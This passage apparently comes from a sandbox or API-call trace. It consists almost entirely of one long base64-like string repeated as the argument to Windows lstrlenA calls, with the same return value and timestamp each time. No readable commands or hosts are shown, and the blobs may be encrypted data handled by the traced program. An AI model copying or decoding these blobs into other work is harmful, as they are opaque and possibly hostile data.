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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq